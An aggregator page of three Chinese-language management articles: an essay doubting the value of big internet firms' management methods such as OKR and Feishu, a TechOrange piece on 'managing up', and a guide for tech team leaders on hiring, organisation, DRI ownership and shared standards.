IT瘾管理推荐

互联网公司的管理神话破灭

Sun, 04 Feb 2024 17:21:45 CST

价值观，OKR，花名，弹性工作制等……

在过去的 20 年里，互联网行业为企业管理界贡献了许多花活儿，这其中有些是中国互联网原创的，也有不少是从硅谷学习而来属于全球互联网行业通行。

当互联网行业处于黄金上升期的时候，几乎每家成功的互联网企业都要或多或少的对外输出一下自己的企业管理方法论，有的是通过创始人演讲，有的是通过出书，也有类似腾讯和阿里巴巴这样的，直接以被投企业家俱乐部的形式来影响自己投资的创业企业。

然而，随着互联网黄金增长期的结束，全球互联网普及红利（对国内来说是人口红利）的消失，我们惊讶发现从 2020 年开始，许多过去互联网行业高举高打的管理概念正在失效……或者说，它也许从来就没有有效过。

站在这个时间点去回顾互联网公司曾经沉淀下的那些方法论，我们会发现无论是阿里巴巴、腾讯、字节跳动，还是 Google、Amazon 和 Netflix。他们的企业管理方法论可能都存在错误归因——低估自己所乘着的时代东风，高估了自身的努力（管理行为）。

因为在企业管理界，有一些明显的错误答案，剩下的全都是“正确答案”。

这是我看最近一本书《大厂人才》的感受，这本书由穆胜咨询合伙人娄珺（Samantha）出品。书中详细横向评测了字节跳动、腾讯、阿里巴巴、美团、华为等多个大厂的管理体系，并间或的对这些不同模式与传统企业管理制度做了比较。

原书作者在结论上总结的比较委婉，但我结合自身的大厂工作经历以及对本书阅读的感受，可以直说：所有互联网大厂的管理创新，可能都是画蛇添足。

以全书反思性最为明显的 OKR 为例，OKR 的“始作俑者”Google 在 2022 年启用了新的管理工具 GRAD（Googler Reviews and Devlopment, 谷歌员工评价和发展），GRAD 是一种更为绩效（偏向 KPI）而非目标导向的管理工具。

根据书中的描述，Google 使用 GRAD 取代 OKR 的主要原因可能有两个，第一个是在过去很长一段时间里，由于 OKR 的反 KPI 属性，导致日常业务中大量的经常性工作无法被考核，OKR 只能作为该公司更大的管理机制 Preformance Management 一环使用，并且只能覆盖 40% 的工作。第二个，则是 OKR 复杂的流程和评价机制本身让员工不堪重负，在许多时候，反复的对齐、拉通、复盘比简单的定期考核一个业务指标是否达成更让人痛苦。

OKR 在国内的忠实粉丝字节跳动也在 2023 年调整了它们的考核方式与考核节奏，比如从双月回顾改为季度回顾。

在 OKR 以外，一些曾经在发展早期宣誓要“去 KPI 化”的企业也在最近重新回到 KPI 考核的道路，比如百度和小米。

阿里巴巴的花名机制，也在实践中与原本的设立初衷背道而驰——原本是为了淡化职级加强扁平化管理，结果真的搞成了“江湖味儿”，公司内“门派林立”。腾讯的“赛马机制”和“自下而上”也一度使得公司缺乏 Big Picture，漏球了信息流和短视频这两个非常重要的业务。

从社会学的角度讲，现代企业的本质是个体分工协作的产物。它的作用是将一群人以特定的社会关系结合在一起，实现一个人无法实现的伟业。这意味着巴别塔可以有很多种建成方式，只要没有上帝来捣乱，任何一种方式都可以通天，而“上帝来捣乱”的方法，就是让每个人都觉得自己的方法是对的。

从 2023 年全球互联网行业的大裁员和惨状来看，互联网的企业管理方法论创新，别说可能不适用于其他企业，甚至可能连互联网行业自己都不合适。比如，早期的字节跳动被称为“App 工厂”，上一个火一个。从字节跳动在 2017 年全面启用飞书之后，就再也没有上线过任何一个现象级产品。腾讯方法论无法让腾讯复制微信，字节方法论也无法让字节复制抖音。

这意味着无论是飞书提出的“先进团队先用飞书”还是阿里的“每年将会向社会输出 1000 名在阿里工作 10 年以上的人才”，对于社会上的其他企业来说都是一个陷阱。

如果你相信这些从互联网公司来的工具、人才、方法论能够帮助你原本陷入困境的企业重振旗鼓，那你就要倒大霉咯。

这个观点倒不是书中提出的，而是我之前从字节的方法论观察到的。众所周知，虽然字节其实并不怎么输出企业管理方法论（比起阿里巴巴），但飞书却从诞生之出将“方法论”与产品捆绑进行销售。飞书在所有的媒体和互联网公司都备受好评，甚至连百度和阿里的一些团队也私下使用飞书进行一些边缘项目的协作，确实配得上“先进团队先用飞书”。

但是，这个世界本身就是由落后构成的。

我第一次认识到这一点，是我在一次参会成员年龄稍大的会议上，用飞书分享我自己的稿子（就是那个几万字的稿子）。我讲到一半，一个听众问我：你讲到第几页了？

我愣了，我讲到第几页了？飞书没有页数啊，因为飞书就没想过会有人把电子文档打印出来看。

提问者 50 多岁，以我和大多数互联网员工的视角看确实算是“岁数大了”。但他实际上也是从 90 年代开始用电脑的“弄潮儿”，你怎么都不能说人家“数字素养”不行？类似的情况其实还有几乎所有的在线文档都不支持“尾注”这个在学术写作中非常重要的功能（其实还有“修订模式”），以至于金山文档至今可以拿到腾讯文档和飞书文档都拿不到的市场份额。

是因为各种眼花缭乱的在线文档不够“先进”吗？不，是因为太过先进了，与落后的现实世界并不匹配。

除非你假定一个 35 岁全员退休的社会，否则向落后兼容，就是一个先进管理工具与生产力工具的最重要基础要素。

这个事情在 SaaS 市场其实被反复验证，所有人都说中国的 SaaS 市场不好做，然后找了许多许多理由。但时至 2024 年，就没有几家企业开门做公司敢不买 Microsoft Office，连免费的 WPS 都是因为和 Microsoft Office 做的“一模一样”，才能抢到这部分市场。以至于我之前和@ 汐笺聊 SaaS 的时候说：

你如果做了一个办公三件套，觉得自己很创新，和 Office 长得不像。那一定是你做错了，因为微软办公套件里的每个按钮都有一个你们整个团队那么多的产品和研发，还对应了 0.x%～x% 的市场份额。

你日常可以用飞书，用 notion，用 Obsidian，甚至你在小团队里也可以用这些新工具来协作。然而，一旦你要进入到更大规模的社会协作，你就离不开 Microsoft Office。字节跳动的 GR 和政府打交道也丢飞书链接吗？阿里巴巴和腾讯合作签合同难道用钉钉文档做前期互审吗？不可能的。

不仅在工具层面如此，在管理工具层面也是如此，OKR 是一个所谓“面向创新”的管理工具。但即便是在人类密集创新的最近半个世纪里，创新也并非企业的常态。创新带来的是新增长点，但这个点一旦被创出来了，后面的增长工作无一例外是由海量的人与资金在枯燥的日常工作中驱动的。

这两年其实也刚好有一个对比，一方面是由于裁员数量增大，职场社交软件脉脉上关于“空降阿里员工”的吐槽多了起来。大致的故事模版就是中小厂，来了一个阿里高 P，进来就搞一通管理+工具的改革，风风火火干三个月，轻则业务下降，重则公司倒闭。

另一方面，马斯克在 2022 年末收购推特，主打一个干翻所有管理理念，什么必要岗位，先裁掉一半员工再说。什么切换服务器要半年，我亲自坐私人飞机给你网线拔了——结果是 X 的主要业务数据并没有下滑，甚至在 AI 新业务上的进展也优于 Google。

书中也特意配了一个维度来证明这一点，这是我非常佩服作者的。她竟然能想到用几大公司离职员工的创业成功率来恒量一个企业的管理制度是否有效，而数据是这样的：

公司名称	离职员工创办公司数量	上市公司数量	IPO上岸率
华为	481	25	5.2%
美团	115	3	2.6%
腾讯	720	18	2.5%
阿里巴巴	941	16	1.7%
字节跳动	21	0	0%

数据来源：穆圣咨询、IT桔子

这个维度并不严谨，因为这个数字本身就会有漏算，而且创业成功也并非 IPO 一个衡量指标。但是我们会非常明显的看到对自己价值观与方法论自视甚高的阿里巴巴在这个比较中是非常落下风的。

在这本书中，华为是作为“传统企业”被拉进来与互联网公司做对比的，因此在横评中的每一项，华为几乎都有优势，不免让人觉得这是不是作者在拉偏手。但华为的成功本身由华为的管理方法论决定的吗？华为的方法论在别的企业执行的下去吗？

众所周知，华为在人才管理方面曾做出过一些超乎民企可及范围的事情。类似的情况，拼多多也在电商消费纠纷上有一些“别人做不到的能力”。所以，不管你想要在自己的企业里实施奋斗者文化，还是想要对供应商实施“仅退款”政策，还是要创始人掂量一下自己的斤两。

所以，还是回到我在本文开头提到的，企业管理界有一些明显的错误答案，剩下的全都是“正确答案”。在吸收别人的经验时，错误的总比正确的更重要。只要你的企业还没黄，就不要轻易效仿别人。

尤其是在现在这个下行周期里，企业黄了也不一定是你做的不对，试图模仿先进者只会让你黄的更快。

馬斯克希望部屬學會的「向上管理」，四招讓你在職場上大展身手

Mon, 12 Dec 2022 11:23:51 CST

【為什麼我們要編譯這篇文章】

身為主管的你，是否時常覺得老闆的指令不明確，因此很難辦事，而部屬做事則常常讓你不放心？夾在中間的你，凡事都要親自操勞，早已疲憊不堪。

專家提供四個方法，讓你面對上頭老闆時輕鬆「向上管理」，並掌握「向下管理」的秘訣，在職場上事半功倍。（責任編輯：游絨絨）

你是否曾在職場上，感受到無法獲得主管充分授權，而難以大展身手？為什麼主管總是有交代不完的事項？覺得自己時常被盯進度？

不得不說，身為一個經理、主管確實不容易，但容易出現管理過度擴張、上情無法順利下達的情況。即使你的主管有一些缺點，但是讓這段職場關係正常運作，不僅符合你的最大利益，也是你的責任。也因此，如何做好「向上管理」，是讓你在工作更順暢的心法之一。

馬斯克指出「向上管理」重要性

馬斯克 2021 年 10 月發給員工的信中，示範職場如何向上管理。先別誤會，已經身為老闆馬斯克不需要向上管理，而是他在信中透露「下屬應該如何向他報告」。根據《CNBC》報導，馬斯克在信中表示， 主管可以對他的指令提出不同意見，並且指出錯誤的地方；此外，如果指令不夠明確，應該提醒他，提出還需要哪些清楚的資訊。

許多人擔心和主管提出不同意見，或向上反應時，會不利於自己，但其實和主管做好溝通，明確定義工作任務，了解業務目標，讓工作順利圓滿達成，才是符合自己的最佳利益。

討好上司？為什麼需要向上管理

所謂向上管理並不是操控你的上司，更不是「拍馬屁」！而是要了解與主管溝通的最佳方式、適時展現你的關心、實現績效目標。《哈佛商業評論》認為，向上管理是「 成為最有效率的員工，為老闆和公司創造價值」。

新創公司 Smart Workweek 創辦人Banks Benitezi ，主要在幫助企業轉型過度為每週工作 4 天，他提出向上管理的三點好處，包括建立更好的工作關係、得到更好的工作成果以及獲得心理上的安全感。

Banks Benitezi 表示，當你做好向上管理，表示你與主管和同事，正處於一種建立在誠實和對話之上的工作關係。 這可以減少誤解、減少主管的過度干預，讓主管有餘裕留心在你的職涯發展。

至於如何做到向上管理，Banks Benitezi 分享了四個方法：

1. 明確的成功指標和評估：讓主管更清楚地定義成功和評估你的績效。你需要花許多時間與主管釐清和調整優先事項、績效指標及評估。針對以上的問題進一步定義或釐清，可以幫助你和主管從一開始就保持目標一致。

2. 安排專案優先次序：通常主管可能不知道新專案如何影響進行中的項目，你必須幫助主管了解權衡取捨，安排專案輕重緩急的順序，透過這樣的流程，主管也會了解專案進度，重新評估資源、時間表以及對專案結果的期望。

3. 主動尋求回饋：當專案結束時主動尋求回饋，你正在創造一個機會微調與主管的工作關係。尋求回饋可以讓你收集有價值的意見，與主管進行對話，並儘早修正或改變你的工作方法。

4. 為自己發聲：主管可能因為忙碌，會忘記員工的職業和發展目標。所以員工如果主動提醒他們的成長目標並分享推動他們前進的想法或機會時，將有所幫助。

不懂帶人就自己做到死，主管的向下管理學

而作為一名管理者、經理，你也必須懂得「向下管理」。根據《Forbes》雜誌，擁有超過 20 年經驗的高級管理顧問 Julie Kantor 提到，主管必須克制過度管理的衝動，信任員工、適時授權，讓他們擁有自主權，同時讓員工知道你能提供他們必要的協助。

此外，Julie Kantor 同樣提到溝通的重要性，要讓組織內的資訊流通，能讓員工感受到他們的重要性，體認到他們也是組織裡的一份子；你同時也須 傾聽團隊成員的意見，有時也會讓你收穫良多，激發更多點子。在制定績效標準時，要與員工說清楚，不要模稜兩可，並具體、及時和建設性的回饋。身為一名好主管， 不吝給予表揚和讚美，能激勵部屬們有更出色的表現。

綜觀向上管理和向下管理，其實最重要就是建立主管與部屬之間的溝通，讓工作執行更順暢，身爲部屬，向上管理不僅可以讓工作順暢，也能讓自己的角色在組織中更加出色凸顯；身為主管，向下管理可以讓你事半功倍，為公司帶來更大的效益。

（本文提供合作夥伴轉載，參考資料： QUARTZ、 hbr、 forbes、 cnbc、 cultureamp，圖片來源： flickr、 unsplash）

The post 馬斯克希望部屬學會的「向上管理」，四招讓你在職場上大展身手 appeared first on TechOrange 科技報橘.

技术管理者的 4 个基本思考点

Sat, 27 Aug 2022 10:53:00 CST

技术团队管理者在日常工作中可能经常会遇到如下一些状况：

自测质量差
转测 BUG 多
项目延期
加班赶工
高强度加班后，小伙伴状态不好，导致更多的问题出现

从第 1 点状况演变成第 5 种状况，第 5 点状况继续推动第 1 种状态的持续加强，从而导致整个团队的状态极差，陷入 BUG 多 –> 延期 –> 加班 –> BUG 更多 –> 更多的延期的死循环。

除了上面的死循环，可能还会有一些非功能性的问题，如性能、扩展性问题等等。

当团队大时，还可能遇到有小团队，各小团队各行其事，各为其主，心不往一处，力不出一孔。这些问题让技术团队的管理者焦头烂额。

那么如何解决这些问题呢？个人认为可以从以下 4 个方面来逐一思考和优化，从而在一定程度上解决这些问题。

1. 把正确的人放到合适的岗位

所有的执行最终都是落到人身上，有了正确的人，事情会事半功倍。说到人，我们往往会提起人的「选用育留」，这是一个很大的题目，我们不做详细的讲述，只关注选和用的一小部分。

管理上有一个在大部分场景适用的套路：选拔优先于培养。这个套路背后有两层逻辑：

改变一个人太难，比如有些人就是懒，抽一鞭子动一下；又或者家境优渥，态度佛系，无欲无求，根本就是油盐不进；又或者玻璃心，安全感差，都很难搞；
成本太高，即使这个人具备可培养性，但从 0 到 1 把一个人培养起来，时间成本太高，而管理者的时间很贵，公司等不起。

所以我们这里是选人，从现有的人中找到合适的，从人才市场找到合适的，能直接用的。

本小节主要是回答两个问题：

正确的人是怎样的？
如何把正确的人放到合适的岗位上？

1.1 选人

在人的层面，主要包括两个部分，执行者和管理者，这里管理者包括整个团队负责人自己。不同的部分，要求不同，选人的标准也不同。去掉专业技能部分，去掉历史经验部分，我们希望我们的伙伴是这样的：

喜欢和投入：对于技术热爱，对工作有投入度，能够专注于自己手上的工作，找到成就感；
知道自己想要什么：有一定长远的规划，知道自己走在什么样的路上，不限于一时一城之得失；
一路人：认同企业的价值观，价值观认同其本质上是「人以群分」；
宁缺毋滥：如果实在没有人，宁缺毋滥吗？这是一个好问题，严格来说是这样的，但实际中往往我们会妥协一部分。

我们选人一个常见的问题是注重人当下的表现和历史的成绩，然而我们选人是要解决未来的问题，更要关注其潜力。那么如何看一个人的潜力呢？如果具备以下的特性，大概率是一个有潜力的人：

有意愿，什么叫有意愿，就是指一个人想变好，有内在的动机去追求更高的目标；这里扩大一些，还包含积极的态度、好奇心和进取心；
有静气，特别是遇大事时有静气，临危不乱；遇到繁琐的事情能一步一步慢慢做好；
有度，做事有度，知道做事的边界在哪，进展有度，但是并不是事事划边界，事事划边界显得格局太小，多数事情还是从大局着眼；
能扛事，遇到事情找方法，不找借口，执行力强；
有所为，天赋决定了能达到的上限，努力程度决定了能达到的下限。努力去做，有所为，并且以现在绝大多数人的努力程度之低，还远远没有达到比拼天赋的程度。这里的有所为不仅仅是做事，更多的是学习，不停地学习，提升自己。

1.2 用人

1.2.2 人才梯队

人才梯队从时间上看分为现在和将来。现在是指盘点现有人才情况，梳理人才结构，对团队中的人进行分层，形成「梯状」。

当前状态的人才梯队分为两个层面，一个是分层，另一个是分层后的职责。当团队大一些后，需要明确团队的组织分层，这里可能是正式认命的 Leader，也可能是虚拟的负责人，不管是实的还是虚的，最终都会有一个层存在。

分层本质上是一个分饼的行为，什么样的人拥有什么样的资源，承担什么样的责任，行使什么样的权利。

作为一个研发团队的负责人，需要梳理这些层，确定是否有合适的人，这些层的负责人形成了我们所说的「人才梯队」。

德鲁克曾说：「一个组织应该使每个人，特别是每个管理人员和每个专业人员（但也包括每个管理单位）都理解自身的任务」。在我们做分层的过程中，需要关注每一层的职责和其解决的问题，如我们在软件架构设计的时候一样，每一个分层都有其作用，无用的分层只会增加性能的损耗。

对于将来，未雨绸缪。

当现在的人才正在发挥作用时，培养接班人，我们经常称之为 B 角。当有人才变动时可以快速补位上去。常用的方法有内部培养，跨团队轮岗，外部招聘等。

这块特别狠的可能要算宇宙厂了，在现有人员已经能满足工作需要的同时，会继续招聘，如果更优，可能会换人。

1.2.2 艰难的决定

在我们构建人才梯队的时候，想要做到知人善任是一件很难的事情，并且让每个人的表现都达到预期水平更难。当有些人并不能胜任他当前的工作时，我们应该怎么做？这里可能有以下两种常见的方式：

调岗，一般这种情况可能只是人岗不匹配，或者有些变化跟不上，但是对于人的部分能力还是比较认可。此时我们在公司内给他找一个匹配的岗位，更好地发挥其潜力。在技术团队最常见的例子是有些高 P 的技术同学，被推到管理岗，过了一段时间，发现适应不了，此时我们可以将其调到更能发挥其能力的岗位上来。又或者一些管理者因为团队扩大或者一些其它原因，管理的范围一下子增加了很多，一段时间后发现无法搞定这样的团队，此时可能将其调整到稍微低一级的职位上更合适一些。
离开，尽量让对方体面的离开，公司和个人都体面的分手，该赔偿的赔偿，该理解的理解，如果在外面有合适的机会，顺手推一把，也是个不错的善缘，不枉同事一场。这里经常出现的问题是犹豫不决，最终导致大家都不开心，不欢而散。管理上常说：「心要慈,刀要快」，就是要规避这种犹豫。

1.3 管理者自己

在用人中还包括管理者自己，一个技术管理者，不仅仅要注重技术，不仅仅要设定明确的目标并排出优先顺序，跟进过程发现问题解决问题，拿到结果，还要注意另一个重要的点：业务参与者。

一个优秀的管理者和一个不那么优秀的管理者的主要差别就是他们对业务的参与程度。事实证明，对所负责业务参与的程度越深，你就越能做出更加明智的决策。

什么叫业务参与度？

我认为它不是事无巨细地了解进展，应该到一线去，怎么到一线去，去写代码，去做代码评审？

到一线去，有两个层次，一个是业务的一线，用户或产品，看用户的反馈，产品的实现，二是工作的一线，看工作流程的卡点，系统化的情况，可视化的情况。不要自己去做这些事情，主要是收集信息，决策或者发现问题解决问题，这里确定做什么的原则是：你做的事情的价值大小，而价值大小可以从时间杠杆，团队杠杆上来指数级扩大，如果做一件事只有短期的一件事的价值，那这些事情就不是你应该做的，应该停下来去思考要做的事情。

2. 组织

说到组织，你是想要一个「令行禁止，使命必达」的组织，还是一个「简单可依赖」的组织？

组织是为实现共同目标而采取的一种分工协作体系，是人与人之间的关系，组织结构往往会随着组织的重大战略调整而调整。

而企业在商场中求生，随着外部环境的变化，行业的变化，内部环境的演进而会不断进行迭代，不断调整组织结构，因此我们经常需要重新设计组织结构。

2.1 设计组织结构

我们在设计组织结构的时候通常要思考以下五个问题：

组织的目标是什么？因为组织是为了共同目标而存在的人与人的关系，目标不清楚，组织结构肯定也是不清楚的。
组织由哪些层，哪些单位组成？组织是一个体系，由不同的单元组成，需要明确各层或单元分别是什么，职责是什么，其作为一个子结构需要有自己的目标和使命。
组织各部分的规模和形式应该是怎样的？根据现实的情况，在设计组织结构时需要着重考虑规模和形式，多少层级？流程型？考虑管理者的有效管理幅度。
组织的哪些部分应该结合在一起，哪些部分应该分开？
组织内各单元之间的关系和协同应该是怎样的?

设计组织结构最难的问题可能是分和合的问题，这里有一个原则：凡是做出同样的贡献的活动可以结合在一个部门中统一管理，不论它们的技术专业是什么。那些不是做出同样贡献的活动则一般不应合在一起。

在考虑组织结构，特别是研发团队的组织结构的时候，千万不可忽略了康威定律，甚至我们有时需要「逆康威定律」，通过适配康威定律，在明确技术架构方向的基础上，以组织结构的调整来推动技术架构的演进。

2.2 组织的形态

每家企业都有自己的文化和组织形式，抽象出来大致可以分为权力型，流程型和交易型，落到研发团队内部，一般只有前两种。

现在许多人强调去中心化、去科层化、去权力化，实际上，在大多数情形下，权力连接还是最直接、最简单、最有效的机制。权力组织讲究的是执行。

组织中的权力主要有四种。除了决策权，还有建议权、审核权和知情权。

决策权，对一个事情决定资源投在哪里，是不是可以做的权力；
建议权是提出方案、预案的权力。注意，这是一种权力：建议权拥有者如果未提出建议，上级决策者不能替代或强压；
审核权是对有关事项程序性、合规性的审查与核准。注意，这种权力不是对事项进行决策；只要有关事项符合程序、合乎标准和规范就予以通过放行。我们经常会看到一些企业的职能管理部门把审核权误当成了批准决定权，导致审批流程变长、决策效率降低，这是需要反思改进的。
知情权是信息共享权，即获取信息的权力。

以上 4 个权限很容易让我们想到项目管理里面的 RACI 矩阵：

谁负责：（R = Responsible），即负责执行任务的角色，他/她具体负责操控项目、解决问题。
谁批准：（A = Accountable，决策权），即对任务负全责的角色，只有经他/她同意或签署之后，项目才能得以进行，是整个事情的决策者；
咨询谁：（C = Consulted，建议权），拥有完成项目所需的信息或能力的人员，多提出建议。
通知谁： (I =Informed，知情权)，即应及时被通知结果的人员，却不必向他/她咨询、征求意见。

以上四种权力，决策权和建议权是权力主线，审核权和知情权是权力副线。主线是上下级逻辑，副线是平级或流程型逻辑，而我们往往理解的权力是主线权力。

在强权力主线的基础上，权力型组织的有以下 3 个缺点：

唯上，组织内的成员对决定其资源或发展的上级负责；
组织的发展由上级决定，当上级缺位、能力不足或脱离实际时可能会出现瞎指挥，乱指挥的情况；
层级过多，导致执行和决策的效率低下。

为规避这些缺点我们需要减少层级，增加连接和协同。

如果把管理层只分为三级，我们一般称之为高层、中级和基层。这三个层要解决的问题不同。高层解决长期发展的问题，中层解决系统效率的问题，基层解决的是事情本身的问题。

比如技术管理者常规上可以分为三个大层：

高层管理：解决长期发展的问题，使企业/团队有前途，关注的是未来，不管是技术发展的未来，还是业务发展的未来；
中层管理：解决系统效率的问题，使系统更有效率，要不断强化研发流程的统一性和适应性，确定并执行好标准和规范，提升协同的效率，标准化和系统化，同时为上层的选择和决策提供依据和保障；
基层管理：解决事情本身的问题，而事情往往会落到一线的开发同学身上，于是经常我们基层管理者的主要工作是使一线开发同学工作有成就，培养一线开发同学，提高他们承担工作的能力和意愿，帮助他们解决问题。

我们期望是每个层能做好自己的事情，但是实际上往往是高层在做中层的事情，中层在做基层的事，基层在做一线的事情，错位了。于是，我们需要将管理层归位，各行其职，更专业的做事情。

在明确职责的基础上，尽量减少管理的层级，尽量不要出现「副XX」的岗位。

在协同方面我们用流程来解决协同合作的问题。流程本身的逻辑是对事情负责，对自身的任务及向下事项/环节负责。其驱动力是责任感和依赖。百度文化里面的「简单可依赖」能较好地说明流程的底层逻辑。当我们使用流程来解决协同的问题时，要经常迭代流程以优化协同的效率：

注意流程是为了解决过程中的问题，不是为了设置卡点，每个人都有扩大自己权力的欲望，这是我们在流程建设中要特别注意的；
尽量减少流程环节，聚合责任主体，我们经常遇到一个事情在某职能部门还需要经过两三道审核的情况，这种损耗可以通过聚合责任主体的方式来解决；
控制流程时长，这里控制流程时长还包括流程环节的前置准备，就和我们开会一样，如果开会前准备充分，会议本身的时长就有极大可能减少。

用权力解决「力出一孔」的问题，用流程解决协同合作的问题。

简单来说，在权力体系的基础上，用流程连接各环节和负责主体，现在比较常见的矩阵式组织结构基本符合这个逻辑。当然这里有一个以流程为主还是以权力为主的问题，具体是哪种，还得看公司当前组织结构的逻辑。

2.3 分工的粗和细

Adam Smith 在 1776 年的《国富论》中提出了分工，分工对于手工业生产效率有较大的提高，其总结了三个优点：

熟练程度的增加，当一个人专注于一块工作，不停的练习极大的增加了熟练度，熟练度的增加将导致质量和产量的增加；
当熟练后，人们对于重复的操作进行机械化或自动化，从而更大的提高质量和产量；
分工明确了输入和输出，在明确的分工下，从一个工序转为另一个工序的时长减少了。

自从分工提出来了，产生了大量的争论，有人提出了以下的一些缺点：

一叶障目，不见泰山，分工越细，所关注的东西都小，当人陷于某个事情越来越小的部分时，其大局观往往受限，可能会导致局部提升而全局受损的情况；
分工越细意味着沟通协作成本的增加，当分工获得的收益小于沟通协作的收益时，将产生极大的成本浪费；
分工一定关系到组织结构的分块，当沟通不畅或没有沟通时，有可能出现组织上的「孤岛」

分工落到一个研发团队，我们通常按编程语言分为 Java、PHP、C++、Javascript，或按端分为安卓端、iOS 端、前端、后端、算法、数据等，又或者大一点分为开发、测试、运维，架构师。

虽然「术业有专攻」，但多跨一步会让分工后的协同更高效一些，这里最常见的可能是测试左移和测试右移。

测试左移是指在研发流程中，把测试的覆盖范围从传统的测试节点中释放出来，将其向左扩展，介入代码提测之前的部分，如开发阶段阶段，需求评审阶段，让研发人员在架构设计时就考虑产品的可测试性，并尽量进行开发自测，同时评估需求的质量，比如分析需求的合理性以及完整性等。
测试右移是指把测试的覆盖范围从传统的测试环节中切出来，将其向右扩展，更多地融入代码部署、发布，甚至上线之后的步骤中。

更极端一些，走全栈路线，一个人从头到尾完成需求的所有工序。但是这种方式，对于人员素质的要求，对于团队组织的要求和常规不一样，且人的精力是有限的，能在每个方面都做到精通的，少之又少，除非所做的事情只需要略懂即可。

思考一下，你所在团队应该如何来做？

成本和效率？组织大小？技术发展？架构演进？

3. 机制

3.1 DRI 机制

3.1.1 DRI 的由来

DRI 是 Directly Responsible Individual 的简称，中文翻译为「直接负责人」。最开始是从苹果流传出来的内部管理概念。

DRI 不是流程、过程，也不是框架，而是一个负责人，对某部分的整体负责，小到 BUG，大到技术方向。 DRI 是为了解决责任主体的问题，其有助于避免责任分散。责任分散这个概念也被称为「旁观者效应」，也就是人们身处团队中时无法对某事负起责任，责任分散到了团队中的每个成员身上，而不是集中在真正有责任的人身上，因为每个人认为那个责任应该由其他人承担，表现得像一个旁观者。

3.1.2 DRI 的职责

聚焦目标；
督促、监督团队成员完成自己的任务；
清楚团队中发生的一切；
统筹策划，搞定所有的干系人，从头到尾负责到底，说简单点就是团队成员专注的做好手上的事儿， DRI 排除干扰，解决各种烦人的问题来，发现问题，解决问题；
有一定的领导责任。

简单来说，当你是某个事情的 DRI 后，这个事情就是你自己的事情。特别是当职责不清或者突发问题时，DRI 就需要发挥主人翁的精神，拉起团队成员去分析问题，解决问题。

3.1.3 什么人适合做 DRI

DRI 和工作年限无关，和是否资深无关，和技术工种无关，你想你就是。

但是在操作过程中，我们会根据实际的场景做一些偏重。如果是一个后台的活儿居多的项目，其 DRI 大概率是后台的开发同学，如果是一个质量问题较多的项目，其 DRI 大概率是一个 QA 同学。

这里我们会充分考虑同学的主观意愿，有些同学想，有些同学不愿意，只想做好手上的工作，那么他做好他手上工作的 DRI 就可以了。

DRI 无关项目大小，无关职位高低，无关所在层级，每一件大事，小事都需要有一个 DRI，且只有一个 DRI

这玩意儿换成中文其实就是我们在标语里面经常看到的「责任到人」差不多，但是更强调责任主体的唯一性。

3.2 构建良好的协同机制

公元前 221 年，秦始皇用了十年的时间，先后灭了韩、赵、魏、楚、燕、齐六国，完成了统一中国的大业。在以后，他陆续颁布了多条律法，以稳固国家的统治，包括「书同文」、「车同轨」、「度同制」等。

一个国家，一个组织，要想成为一个高效执行的团队，一定要有标准，一定要有人告诉大家怎样做是对的。落到我们团队管理，标准，流程是必须要做的，特别是当你的团队是由若干个团队整合或融合的时候。

3.2.1 统一标准规范

当你的团队是由原来多个业务的团队融合而成，大家原来都有做一些标准，现在我们需要按统一的标准达成共识并推行下去。又或者本来标准不完善，需要系统梳理标准来达到标准的统一。

行业标准一般是为了互联互通，而对于研发团队的研发过程来说，标准主要是为了减少过程中的认知成本，提升研发的效率，比如数据库规范，大家按统一的规范来设计数据库，当有其它同学接手你负责模块的时候，能减少在基本结构的认知成本，以及在一些模块间整合或数据迁移时，对于工作会比较友好一些。

标准是什么，标准是一件行为准则，其关注的是结果。

标准和规范一般是为了告诉人们什么是好的，关注的结果，而统一标准是为了让大家互联互通。

标准不是为了成功，而是为了让整个事情不至于太坏，尽量不出现重大的问题。具体到研发团队，我们一般需要统一如下一些标准：

研发过程
- 代码风格规范
- 数据库设计规范
- 代码分干管理规范
- 代码提交规范
- 错误码规范
- Code Review 标准
- 代码权限管理规范
沟通协同
- 架构规范
- 技术方案规范
- 文档规范
- 接口规范
质量标准
- 代码质量标准
- 自动化测试标准
- 测试质量标准
- 线上质量标准
性能标准
- 服务端性能标准
- 客户端性能标准
- 前端性能标准
安全标准
- 信息安全标准
- 代码安全标准
- 数据安全标准
- 线上安全标准

3.2.2 统一流程

流程是什么？

流程是基于时间线，有一定先后序列规则的完成一件事的过程。流程是线性的、连续的。

统一流程是什么？

统一流程就是把一些验证过的好的做事方式，好的经验通过流程的方式固化下来，防止大家重蹈覆辙，在一个坑里踩多次，并且为不熟悉的同学做好指导。

我们做任何一件事都是有流程的，有些是设计过的，有些是自然而然的，设计过的流程可能是别人的经验。并且流程需要持续迭代。

在研发管理中我们常常会构建的流程如下：

敏捷流程
- 需求迭代流程
- 紧急需求流程
- 值班需求流程
研发流程
- 代码审核流程
- 代码发布流程
- 紧急发布流程
协同
- 对接流程
- 资源申请流程
- 线上问题/告警处理流程
- 事故处理流程
- 安全问题处理流程

3.2.3 统一工具

以上说了要统一标准，统一流程，这些第一步是要把这些标准和流程做出来，形成文档，落到知识库中。如果只做到这一步，这些标准和流程可能就真的只是一个文档，情况好一点，有人来推进重视，可能会落实一些，但一旦这个推进人不在了，或者不再关注了，很多形式就不了了之。

要解决这个问题只能通过工具或系统，以工具或系统的形式固化标准和流程，把这此好的经验和方式以更物理的方式沉淀下来。再以这些工具或系统为杠杆，提升整体研发的效率，创造增量的价值。

4. 系统

这里的系统不仅仅是指使用某个系统，在使用系统的基础上整合，实现我们高效执行的目的。前面我们有了机制，但是事情太多，不能让所有的事情用人来去解决，需要用系统来解决。

机制解决规模化的问题，系统解决规模固化的问题。系统解决的问题有两个层面，一个是过程跟进，一个是结果度量。

4.1 工作流和过程跟进系统

一个研发部门可以看作一个系统，需求从一端进入，经历各种正确的工序，才能变成产品，如期从另一边离开。当系统内部存在冲突，或者不和，或者互相针对，那么就会发生各种想象不到的问题，从而让整个系统的产出变少，甚至没有。

着眼于整个工作流，确认瓶颈点在哪，尽可能的运用各种技术和流程来确保工作在计划内有效的执行。因为我们知道：在代码投产之前，实际上并未产生任何价值，因为那只是困在系统里的半成品。

在实际中我们如何让大家更好的协同，更好的让这个工作流运转起来呢？以前可能是 Excel、Word 或者 todolist，再加上邮件或 IM 传来传去，现在更进一步有在线的表格协同，还有更完整的项目管理系统，如 Jira 、Trello、腾讯的 TAPD、阿里的 Teambition、禅道等。工具不同，但是目标是相同的，都是希望做到对项目执行的管控、对团队事务（问题）的跟踪，对需要多人协作任务的快速流转和处理。

除此之外，还需要文档管理，即过程中的物料也需要跟进起来，关联起来。至于是一个系统，还是多个系统，都是可以的。

